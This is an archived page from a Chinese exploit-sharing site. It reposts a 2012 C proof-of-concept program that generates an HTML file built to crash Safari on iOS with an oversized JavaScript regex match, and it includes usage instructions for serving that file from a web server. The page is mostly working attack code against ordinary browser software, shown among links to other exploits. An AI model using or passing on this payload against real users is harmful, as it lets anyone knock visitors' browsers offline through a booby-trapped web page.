首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Safari On iOS Denial Of Service
来源:alberto[@]pentbox[.]net 作者:Cashdollar 发布时间:2012-06-11  
/*PoC for Safari crash discovered by
 Alberto Ortega @a0rtega, alberto[@]pentbox[.]net

 http://www.livehacking.com/category/vulnerability/apple-vulnerability/
This PoC written by
Larry W. Cashdollar http://vapid.dhs.org @lcashdol

This PoC creates an html file to be served out by a normal webserver. 
It seems the browsers begin to crash when the output
size is 800000+.
usage: ./safari_crash 800000 /var/www/html/crash.html
*/

#include <stdio.h>
#include <stdlib.h>

int
main (int argc, char *argv[])
{

  int x = 0;
  FILE *fout;
  char *payload = "<html>\n<head><title>Crash Safari PoC";
  char *payload2="</title></head>\n<script
type=\"text/javascript\">\nvar s = \"PoC\";\ns.match(\"\0";
  char *payload3 = "\");\n</script>\n</html>\0";

  if (argc < 3)
    {
      printf
    ("Safari Crash PoC\nPlease supply buffer length and filename.\nEx
:%s 800000 crash.html\n",
     argv[0]);
      exit (0);
    }
  fout = fopen (argv[2], "w");

  fprintf (fout, "%s", payload);
  fprintf (fout, "Size : %s x A",argv[1]);
  fprintf (fout,"%s",payload2);
  while (x < atoi (argv[1]))
    {
      fprintf (fout, "A");
      x++;
    }

  fprintf (fout, "%s", payload3);
  fclose (fout);

  return (0);
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PEamp (.mp3) Memmory Corruptio
·MS12-005 Microsoft Office Clic
·PEamp Null Pointer Dereference
·Total Video Player V1.31 [.flv
·Symantec Web Gateway 5.0.2.8 A
·F5 BIG-IP Remote Root Authenti
·Microsoft IIS 6.0 and 7.5 Mult
·MYSQL CVE-2012-2122 Authentica
·Tom Sawyer Software GET Extens
·Sielco Sistemi Winlog Buffer O
·ComSndFTP Server 1.3.7 Beta Re
·Symantec Web Gateway 5.0.2.8 i
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved